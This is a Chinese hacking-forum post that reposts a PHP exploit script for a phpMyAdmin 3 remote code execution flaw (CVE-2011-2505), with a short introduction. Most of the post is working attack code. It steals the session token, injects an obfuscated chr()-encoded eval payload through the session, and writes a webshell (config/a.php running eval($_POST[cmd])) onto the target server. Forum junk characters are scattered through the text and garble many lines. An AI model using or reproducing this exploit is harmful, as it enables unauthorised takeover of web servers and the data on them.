中国网络渗透测试联盟

标题: phpadmin3 remote code execute php版本exploit [打印本页]

作者: admin    时间: 2013-2-21 09:13
标题: phpadmin3 remote code execute php版本exploit
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
' }' |; w  B8 M7 V+ B
. d' t0 y. ~+ B) i! ^1 Y昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
6 z& K  g+ \* W8 [2 K: |& ~5 j; A9 k% o
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:0 p. z9 G) ~" G, X: j9 ?
一是session.auto_start = 1;
! e0 ~7 d* B# z  `! j7 P2 E' ^二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。4 T8 T! g) G! [: {$ G- F2 B
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。& r  b( b7 Y5 S8 e8 o
: M) h7 G" j! s. ~0 n
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
. `3 P6 h6 N6 m0 I: B) v5 Z2 C2 R5 a  e$ Z9 W% g
于是写了这个php版本的exp,代码如下:6 o# y- I8 i! v# e8 }3 Z1 V  [

3 k0 V5 ]- W; T1 a#!/usr/bin/php# J/ e+ @. w' l. f0 r
<?php, n# Z  s! @+ L, S6 v2 Z7 \0 _
print_r('
8 N9 F$ I# X6 o+ `- {" ]+---------------------------------------------------------------------------+
0 x. j$ u+ I1 y4 S# vpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
5 ~# K6 A0 Q$ T6 h9 iby oldjun(www.oldjun.com)! b9 D) l8 }: w2 s
welcome to www.t00ls.net
0 P6 P$ P; B# n, S7 t. Qmail: oldjun@gmail.com1 e7 ~+ f" w, j# z: B( h) n6 x
Assigned CVE id: CVE-2011-2505
/ X; t& b9 y4 D- o+---------------------------------------------------------------------------+
6 w4 ^0 X" M# ^3 s* i  v4 H& b& V');4 t8 ^9 H) V5 _4 R. N% W

4 |2 b6 ~. {4 B" a' }( ]/**  t1 |, w2 D* ]5 E9 T, k* k9 e
* working when the directory:"config" exists and is writeable., k1 I( U& @/ K' C  P* E/ C1 V
**/+ B* ^6 q, L2 U5 U# A( @
+ A9 n+ p& z8 L$ O" W
if ($argc < 3) {4 c8 o  x# n5 T" O: K' @6 [
    print_r('
" o* c) V& b- e1 R- R) D+---------------------------------------------------------------------------+
  u1 I6 g0 Q: s& _; \Usage: php '.$argv[0].' host path( \( c/ c% h" K+ s, c8 g+ w& T
host:      target server (ip/hostname)0 M1 p5 }; `* t, E# a
path:      path to pma3& `8 f# Y# n) o. q* m/ W" [& N. r/ O( f
Example:
3 I# w! O! p7 A/ J: `( D3 h  v. P! ]php '.$argv[0].' localhost /pma/9 ]9 W" I0 J0 R/ [
+---------------------------------------------------------------------------+
3 l; [7 d+ h' ]. f');
2 \& l  J/ w) n) T( [. J    exit;
# u' f( @9 Y0 o0 ?}
! E  `* c2 o& ~) d! z0 L3 K
/ Q4 N5 l  u# r5 m$host = $argv[1];
! H7 p9 ?+ A( m$path = $argv[2];
( d; A# f2 D# R6 V- |
% V' D! D( K8 r" k! H/ K9 w3 J! c/**: g- X9 D7 z! }- D& o6 K% ^8 T
* Try to determine if the directory:"config" exists
8 @  N$ j: q; A8 Q1 Q( J**/
( P( d5 ~0 M+ A3 \8 E5 vecho "[+] Try to determine if the directory:config exists....\n";. o; k2 i$ ?5 D
$returnstr=php_request('config/');6 N  u3 Y; `: c2 _' b
if(strpos($returnstr,'404')){* d% b* R3 }  X2 N
    exit("[-] Exploit Failed! The directory:config do not exists!\n");' i5 N3 o/ Q" {5 i: i
}
0 N" A  j8 R. o6 _% m7 Q7 I* r( m( i2 l  T/ W4 G7 |! U) u# s3 v$ }2 N3 e
/**
( j- t. G9 T- ]% Z2 k' R * Try to get token and sessionid
: p2 d  d) U# O**/& ^, {- `3 [2 o% w/ v) x, y
echo "[+] Try to get token and sessionid....\n";+ ~! T( o4 i# u  k, j$ O; g) A
$result=php_request('index.php');3 D9 P; V- y4 r2 Q# }# e9 S/ M
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
  L% g, J  k7 ^4 r$token=$resp[3];" ^( |* H0 |5 [6 k  p
$sessionid=$resp[1];
6 w4 x) l4 N7 U2 gif($token && $sessionid){4 K+ N4 |) b3 ]2 C; F# p9 c
    echo "[+] tokentoken\n";
- N+ K4 b/ F1 I( L. r; \. ^  M/ h    echo "[+] Session IDsessionid\n";
* K6 ]- t4 N$ y, d}else{2 G- H/ I+ S7 U7 T) G
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");" _" I- ]5 x0 d! n8 `  E
}2 o* ^& f; R1 n' {0 Z5 L

0 o/ W* O  p! w1 r7 ]. h/**
: Z! ]% A3 b( `# `$ |% W * Try to insert shell into session4 b) c" F5 w! V+ x: Q
**/- |9 c# t& d' I0 C  ^' C0 O$ x
echo "[+] Try to insert shell into session....\n";
7 W9 ?$ J$ @# ?& F; V8 jphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.% F; o4 W2 {- i, ]4 f* L

9 P8 }- Y7 n& R- [6 s9 Q/**
$ s$ {2 v! M% k) Q" ~5 K: _ * Try to create webshell) w* R4 Y, P8 |/ f
**/$ y. V4 u! U, ^
echo "[+] Try to create webshell....\n";* C' {4 b6 Y& t; R* r) t
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
6 l9 ?* C+ f4 L$ `* ]/**
5 B: z! ]6 d2 [0 P * Try to check if the webshell was created successfully8 Z8 ~5 H& V  j7 s3 M
**/
: x3 h& I$ A3 e9 q7 S. Xecho "[+] Try to check if the webshell was created successfully....\n";2 Y, W3 b/ {% [& z  j* `
$content=php_request('config/config.inc.php');2 W- }, H5 Q# z' r# N$ K" F
if(strpos($content,'t00ls')){: n- J, {! b0 }/ m4 A& Y- P' r6 f% W! m. h
    echo "[+] Congratulations! Expoilt successfully....\n";
5 i/ V6 |( w5 I& G- G/ \    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";2 U3 ]& X! n0 R0 {  K$ l# G% t
}else{0 h; c8 c9 E: K4 |0 ]0 j9 ~
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
7 i/ d7 p# G. \3 x}
3 k: E9 S: D+ w; p2 q* i0 a, ~3 i' V( O. q# w% a
function php_request($url,$data='',$cookie=''){, x8 P2 c; u" ~; w# ~
    global  $host, $path;- b- f( D* L( I
    " }+ J, z1 i* |" o) B9 `% b$ z( y
    $method=$data?'POST':'GET';
, c' O0 D/ A, B   
7 P' X+ @% w. G5 o    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
# U' P* g! p- f; ~    $packet .= "Accept: */*\r\n";
! p0 `/ }: p! m* s) y    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";$ _7 K8 X4 i3 k
    $packet .= "Host: $host\r\n";
8 N. C- f* |# r. C    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
$ R: r- Y3 b7 G2 C; e    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";: W. w. \! }! n5 \
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
6 ]7 m4 t* o' i+ q1 [. ?  M    $packet .= "Connection: Close\r\n\r\n";, L3 Q. `6 g( E
    $packet .= $data?$data:"";
2 Q* X; C0 N, b9 @
) q+ O! \. |  w    $fp = fsockopen(gethostbyname($host), 80);
  e5 V' U; {0 G. S" f    if (!$fp) {
% ~- D3 |- H% j2 Z  R    echo 'No response from '.$host; die;
+ H) G, Z5 p5 x/ h0 l  c    }
4 h$ }) ]( G2 ~4 ^& m2 g    fputs($fp, $packet);* c2 ~5 K: p7 b. V9 {

6 R: I+ e8 I* ~    $resp = '';" \) l& a) K- T5 f* L

; }7 J9 K7 z3 H4 k- C  V    while ($fp && !feof($fp))
9 X2 P( I/ b# ~! z; D        $resp .= fread($fp, 1024);* p! J: h& O9 T: V8 d

9 O7 K) V& g9 z$ x    return $resp;
5 s. d0 A. j3 ]  |}
4 U; o# {3 {# u5 Q% b& o   
4 \* H; v1 J; N; J7 e8 g; e2 b$ K6 Z! K?> + f" b3 D* Q+ X
.




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2